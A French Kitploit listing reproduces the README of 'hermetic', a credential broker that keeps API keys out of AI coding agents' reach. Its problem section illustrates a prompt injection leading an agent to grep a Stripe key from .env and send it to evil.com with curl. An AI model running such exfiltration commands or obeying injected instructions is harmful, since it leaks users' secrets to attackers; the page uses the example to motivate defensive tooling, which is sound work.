Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hermetic — Courtier d'identifiants isolé pour agents d'IA | Kitploit
Outils/GitHubGitHub/hermetic-sys/hermetic
Authentification et AutorisationOutils de Chiffrement/DéchiffrementTests d'IntrusionSécurité CloudDevSecOpsDétection de SecretsGestion des Identités et des Accès (IAM)Sécurité de la Chaîne LogistiqueRed TeamingSécurité des API
GitHub
1il y a 10 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
hermetic-sys/hermetic

hermetic

Courtier d'identifiants isolé pour agents d'IA

Voir le dépôt
Hermetic

Le courtier d'identifiants isolé de l'agent.
Votre agent IA effectue l'appel authentifié. Il ne voit jamais la clé.

License: AGPL-3.0 (open core) Platform: Linux x86_64 Written in Rust Zero telemetry No cloud

Site Web · Installation · Démarrage rapide · Fonctionnement · Modèle de sécurité · Signaler une vulnérabilité


[!IMPORTANT] Votre agent IA fonctionne au niveau ★★★ Courtisé : le texte en clair des identifiants n'est jamais dans le contexte de l'agent. Hermetic effectue l'appel authentifié dans un démon séparé et ne renvoie que la réponse. L'agent obtient les données — jamais la clé.


Le Problème

Chaque agent de codage IA — Claude Code, Cursor, Copilot, Windsurf — exécute des commandes shell en tant que vous. Chaque clé API dans votre .env, chaque jeton dans votre historique de shell, chaque identifiant dans ~/.aws/credentials est accessible par tout code que l'agent exécute.

Une injection d'invite dans un problème GitHub, un commentaire de code ou une réponse d'erreur API peut dire à l'agent de :

root@kitploit:~
1. Trouver votre clé Stripe  →  cat .env | grep STRIPE
2. L'exfiltrer               →  curl https://evil.com?key=$STRIPE_KEY
3. Vous ne le saurez jamais  →  l'agent continue normalement

Ce n'est pas théorique. Les attaques de chaîne d'approvisionnement volent déjà les identifiants sous l'UID du développeur. Les agents IA font de cela la surface d'attaque par défaut.

La Solution

Hermetic est un démon local qui effectue des appels API au nom des agents IA afin que l'agent ne touche jamais vos identifiants.

root@kitploit:~
   ┌───────────┐   handle    ┌──────────────┐    HTTPS     ┌──────────┐
   │  AI Agent │────────────▶│   Hermetic   │─────────────▶│   API    │
   │           │◀────────────│    Daemon    │◀─────────────│  Server  │
   └───────────┘  response   └──────────────┘   response   └──────────┘

   Agent memory                 Daemon memory
   ✗ no credential              ✓ credential (decrypted in-process)
   ✓ opaque handle              ✓ domain binding
   ✓ API response               ✓ tamper-evident audit log

L'identifiant n'entre jamais dans l'espace d'adressage de l'agent — ni dans la mémoire, les vars d'env, les fichiers ou la sortie de commande. L'agent récupère la réponse API et rien d'autre.


Installation

root@kitploit:~
curl -sSf https://hermeticsys.com/install.sh | sh

Un seul binaire statique (Rust, aucune dépendance d'exécution). Pas de Docker, pas de compte cloud, pas de télémétrie.

Construire à partir des sources

Les deux crates du noyau ouvert se construisent à partir de ce dépôt :

root@kitploit:~
git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release --locked

--locked construit à partir du Cargo.lock audité au lieu de résoudre à nouveau des versions de dépendances plus récentes (potentiellement empoisonnées) — une étape de durcissement de la chaîne d'approvisionnement que nous recommandons pour tout outil de gestion d'identifiants.

Prérequis et configuration unique
  • Linux x86_64 (V1 dépend des sockets de domaine Unix, SO_PEERCRED et /proc — pas encore de macOS/Windows)

  • Permission de verrouillage mémoire — Hermetic verrouille les secrets en RAM afin qu'ils ne soient jamais échangés sur le disque :

    root@kitploit:~
    ulimit -l            # si cela affiche 64 (pas "unlimited") :
    echo "* - memlock unlimited" | sudo tee -a /etc/security/limits.conf
    # se déconnecter/se reconnecter, ou : ulimit -l unlimited
    

    Sans cela, hermetic start échoue avec "mlockall failed." Configuration unique.

[!TIP] Vérifiez le téléchargement avant de lui faire confiance — voir Vérifier les artefacts.


Démarrage rapide

root@kitploit:~
hermetic init                 # créer le coffre chiffré (vous choisissez une phrase de passe)
hermetic add                  # assistant interactif : coller une clé, détection automatique du service
hermetic start                # démarrer le démon durci
hermetic connect              # connecter votre agent IA (détection automatique de Claude Code / Cursor / …)

# Effectuer un appel authentifié — la clé ne quitte jamais le démon
hermetic request --secret openai_key --url https://api.openai.com/v1/models

hermetic doctor               # confirmer que tout est sain
hermetic audit                # voir chaque opération effectuée par Hermetic

Sur une machine vierge, vous pouvez aussi simplement exécuter hermetic sans arguments — il détecte qu'il n'y a pas encore de coffre et propose de vous guider pas à pas.


Trois Façons d'Utiliser les Identifiants

La plupart des gestionnaires d'identifiants vous donnent une seule option : lire le secret, puis l'utiliser vous-même. Hermetic vous en donne trois, chacune avec une garantie différente.

★★★ Courtisé — l'agent ne le voit jamais

root@kitploit:~
hermetic request --secret openai_key \
  --url https://api.openai.com/v1/chat/completions \
  --method POST --body '{"model":"gpt-4","messages":[...]}'

Le démon injecte l'identifiant et effectue l'appel HTTPS. L'agent envoie un handle opaque et reçoit la réponse — exposition de l'identifiant : zéro. Aucun autre gestionnaire d'identifiants ne fait cela : op/Vault/aws-vault renvoient tous le secret au processus appelant. Hermetic le conserve à l'intérieur d'un démon séparé.

★★ Transitoire — dans un processus fils, puis disparu

root@kitploit:~
hermetic run --secret github_pat --env-var GITHUB_TOKEN -- git push origin main

L'identifiant est injecté dans l'environnement d'un processus fils pour la durée de cette seule commande, puis effacé. L'agent obtient le code de sortie. La sortie standard/stderr du fils est analysée et toute fuite d'identifiant est masquée ; les interpréteurs dangereux sont bloqués.

★ Direct — votre terminal, votre responsabilité

root@kitploit:~
hermetic reveal --secret stripe_key

Affiche l'identifiant dans votre terminal. Protégé par phrase de passe, limité en débit, enregistré dans le journal d'audit — pour quand vous avez réellement besoin de coller une clé à la main. CLI uniquement ; jamais exposé en tant qu'outil d'agent.


Hermetic vs. les alternatives


Proxy MCP — protégez les identifiants de chaque serveur MCP

Chaque serveur MCP (GitHub, Slack, Jira, Notion) a normalement besoin de son jeton en texte clair dans la configuration de votre IDE. Hermetic sert de proxy pour le serveur MCP et injecte l'identifiant depuis le coffre à la place :

root@kitploit:~
{
  "mcpServers": {
    "github": {
      "command": "hermetic",
      "args": [
        "proxy", "--server", "github",
        "--credential", "github_pat:GITHUB_PERSONAL_ACCESS_TOKEN",
        "--",
        "npx", "-y", "@modelcontextprotocol/server-github"
      ]
    }
  }
}

--credential <nom-coffre>:<ENV_VAR> résout le secret depuis le coffre et l'injecte dans l'environnement du fils — pas de jeton en texte clair dans le fichier de configuration. Le proxy analyse également chaque message serveur→agent pour détecter les fuites d'identifiants, épingle les définitions d'outils (détecte les « rug-pull » de chaîne d'approvisionnement), applique une politique d'autorisation/refus par outil et isole le fils dans son propre groupe de processus.


Agent SSH — vos clés ne quittent jamais le coffre

Hermetic parle le protocole standard d'agent SSH. Pointez SSH_AUTH_SOCK vers lui et chaque git push, scp, rsync et connexion SSH signe avec une clé provenant du coffre chiffré — sans l'extraire vers ~/.ssh/.

root@kitploit:~
hermetic start --ssh-agent
source ~/.hermetic/ssh-agent.env          # ajouter à .bashrc/.zshrc
hermetic ssh-keygen --type ed25519 --name github-ssh   # générée dans le coffre
ssh-add -l                                # votre clé apparaît
git push origin main                      # signe via le démon

Le démon effectue toute la signature en interne — les octets de la clé privée n'entrent jamais dans le client SSH. Ed25519, RSA (SHA-256/512) et ECDSA P-256 pris en charge ; signature SHA-1 rejetée.


Connectez Votre Agent IA

root@kitploit:~
hermetic connect                 # détection automatique de votre agent et écriture de la config MCP
hermetic connect claude-code     # ou cibler un agent : claude-code · cursor · windsurf · claude-desktop
hermetic connect --list          # lister les agents pris en charge

Cela enregistre Hermetic en tant que serveur MCP. Votre agent reçoit alors ces outils — et aucun outil ne renvoie jamais une valeur d'identifiant :


Intégration OpenClaw

OpenClaw

OpenClaw obtient les deux modes à la fois : le serveur MCP (★★★ courtisé, pour l'agent) et un fournisseur d'exécution (pour la clé LLM propre d'OpenClaw).


root@kitploit:~
hermetic reveal --set anthropic_key              # marquer le seul secret qu'OpenClaw peut lire
hermetic reveal --configure openclaw --install   # écrire la config MCP + fournisseur d'exécution

Le résolveur du fournisseur d'exécution est hermetic reveal --protocol openclaw — un protocole natif qui lit une requête JSON sur stdin ({"ids":[...]}) et écrit une réponse JSON sur stdout ({"protocolVersion":1,"values":{...}}), et rien d'autre. Chaque révélation est protégée par phrase de passe, limitée en débit et enregistrée dans le journal d'audit. Le chemin courtisé de l'agent utilise toujours hermetic_authenticated_request et ne voit jamais une valeur. Flux complet : Configuration OpenClaw.


Modèle de Sécurité

Hermetic détient vos identifiants les plus sensibles, il est donc durci contre le même agent qui essaie de les utiliser.

Le démon se protège avec trois couches sur chaque connexion :

root@kitploit:~
1. Attestation binaire    — le démon vérifie le hachage du binaire qui se connecte.
                            Un script Python ou un binaire inconnu est REJETÉ.
2. Identité de l'expéditeur — le noyau vérifie l'identité de l'expéditeur à chaque message.
                        par message     Un processus différent en cours de session est REJETÉ.
3. Jetons liés au processus — un jeton de session volé par un autre processus est REJETÉ.

De plus : secrets verrouillés en RAM, vidages mémoire désactivés, protection contre les vidages, HTTPS uniquement avec blocage SSRF et résolution DNS épinglée, et un journal d'audit inviolable chaîné par HMAC (hermetic audit).

[!WARNING] Ce contre quoi Hermetic ne protège pas. Le courtage isole l'identifiant de l'agent — mais pas d'un processus de même UID qui peut exécuter du code comme Hermetic lui-même. Le noyau ne peut pas distinguer le code de même UID (SO_PEERCRED vérifie uniquement l'UID), donc l'utilisation de l'identifiant est concédée : un processus déjà en cours d'exécution en tant que vous peut piloter des appels courtisés et lire les réponses. Ce qui reste fermé même contre ce processus : le texte en clair de l'identifiant ne lui est jamais exposé (il n'y a pas de chemin de révélation), et la mutation du coffre (ajout/rotation/reliaison) nécessite une preuve de présence utilisateur fraîche — donc il ne peut pas voler la clé ni modifier silencieusement le coffre. L'attestation binaire empêche également un binaire non-Hermetic de se connecter du tout. C'est matériellement plus fort que les fichiers d'env en texte clair ou les trousseaux, qui remettent directement la clé brute à tout processus de même UID. Hermetic n'est pas non plus une défense contre un compte utilisateur local complètement compromis, des attaquants au niveau du noyau ou de la forensique mémoire matérielle. Nous documentons cette limite de manière proéminente car l'honnêteté à ce sujet fait partie du produit.

Voir SECURITY.md pour le modèle de menace complet, les versions prises en charge et comment signaler une vulnérabilité.

Vérifier les artefacts

Chaque version fournit un SHA256SUMS. Après le téléchargement, vérifiez la somme de contrôle avant d'exécuter :

root@kitploit:~
sha256sum -c SHA256SUMS

La signature GPG des versions (un SHA256SUMS.asc détaché contre une empreinte de clé publiée) est prévue ; en attendant, la somme de contrôle SHA-256 est la vérification d'intégrité. Pour un outil d'identifiants, vérifier le binaire que vous exécutez est la base — install.sh le fait automatiquement pour vous.


Noyau Ouvert

Hermetic est un noyau ouvert — nous sommes explicites sur ce qui est et n'est pas open source.

Les deux crates dans ce dépôt sont AGPL-3.0-ou-ultérieur et vous pouvez les auditer et les construire vous-même. Le binaire du démon/CLI de courtage est propriétaire (niveau gratuit + fonctionnalités Pro payantes) — il n'est pas open source, et nous le disons délibérément. La sécurité n'est jamais limitée : les binaires gratuit et Pro exécutent un code de sécurité identique.


Pourquoi tant de code ?

Vous pourriez construire « stocker un secret, le renvoyer » en quelques centaines de lignes. Mais alors n'importe quel script sur votre machine pourrait se connecter au socket et prendre vos clés — exactement le problème lorsque les agents IA exécutent du code arbitraire sous votre UID. La complexité n'est pas le chiffrement ; c'est de s'assurer que le mauvais processus ne peut pas atteindre ce qui est chiffré : attestation binaire, vérification de l'expéditeur par message, jetons liés au processus, analyse des fuites d'identifiants, épinglage des définitions d'outils, blocage SSRF, résolution DNS épinglée, listes noires d'interpréteurs et durcissement mémoire. Chaque défense existe parce qu'une véritable attaque a été démontrée sans elle.

Vérification

Hermetic est validé de manière adversarial — campagnes de pentest menées par IA indépendantes, tests de fuzzing avec zéro plantage, tests de mutation et simulation d'attaques en direct contre le démon en cours d'exécution. Les vulnérabilités réelles découvertes lors des tests ont été reproduites et définitivement corrigées avec des défenses au niveau du noyau. Le noyau cryptographique (ce dépôt) est ouvert à une révision indépendante. L'histoire complète se trouve dans le livre blanc.

Documentation

  • Démarrage — de zéro à la première requête courtisée
  • Référence CLI — chaque commande et drapeau
  • Intégration MCP — configuration de l'agent pour chaque plateforme
  • Aperçu de la sécurité — couches de défense et modèle de menace
  • Intégration Python — piloter Hermetic depuis Python via la CLI

Contribuer

Voir CONTRIBUTING.md. Les contributions aux crates du noyau ouvert nécessitent un CLA signé.

Licence

Crates du noyau ouvert (hermetic-core, hermetic-transport) : AGPL-3.0-ou-ultérieur (LICENSE). Le binaire Hermetic est propriétaire — voir COMMERCIAL_LICENSE.md ou contactez [email protected].


L'agent ne voit jamais le secret.
hermeticsys.com · [email protected]
Télécharger l’outil
.env / vars d'env1Password / Vault / aws-vaultHermetic
Le secret atteint le processus appelant✅ toujours✅ renvoyé à l'appelant❌ jamais (courtisé)
Fonctionne sans que l'agent voie la clé❌❌✅
Liaison de domaine par identifiant❌❌✅
Bloque l'exfiltration vers des domaines attaquants❌❌✅
Journal d'audit inviolable❌partiel✅
Contrôle d'accès par socket même-UIDn/a❌✅ attestation binaire
Chiffré au repos❌✅✅ AES-256-GCM
OutilCe que l'agent peut faireCe qu'il obtient en retour
hermetic_authenticated_requestEffectuer un appel API avec un identifiant stockéRéponse HTTP uniquement
hermetic_list_secretsVoir quels identifiants existentNoms + métadonnées, jamais les valeurs
hermetic_env_spawnExécuter une commande avec un identifiant dans l'envCode de sortie uniquement
hermetic_suggest_addObtenir la commande CLI pour ajouter un identifiantInstructions de configuration
hermetic_seal_vaultVerrouillage d'urgenceConfirmation
hermetic_sign_jwt (Pro)Signer un JWT → l'échanger contre un jeton d'accèsJeton d'accès uniquement, jamais la clé
Publié ici (AGPL-3.0)Binaire Hermetic (gratuit)Pro
hermetic-core — coffre, KDF, hiérarchie de clés, chaîne d'audit✅ source✅✅
hermetic-transport — exécuteur HTTPS, défense SSRF, résolution DNS épinglée✅ source✅✅
Démon, pont MCP, proxy, CLI, agent SSH—✅✅
Requêtes courtisées ★★★ · liaison de domaine · journal d'audit—✅✅
10 secrets · 1 environnement—✅illimité
Rafraîchissement automatique OAuth2 · AWS SigV4 · signature JWT——✅
Tableaux de bord TUI + web · analyses d'utilisation——✅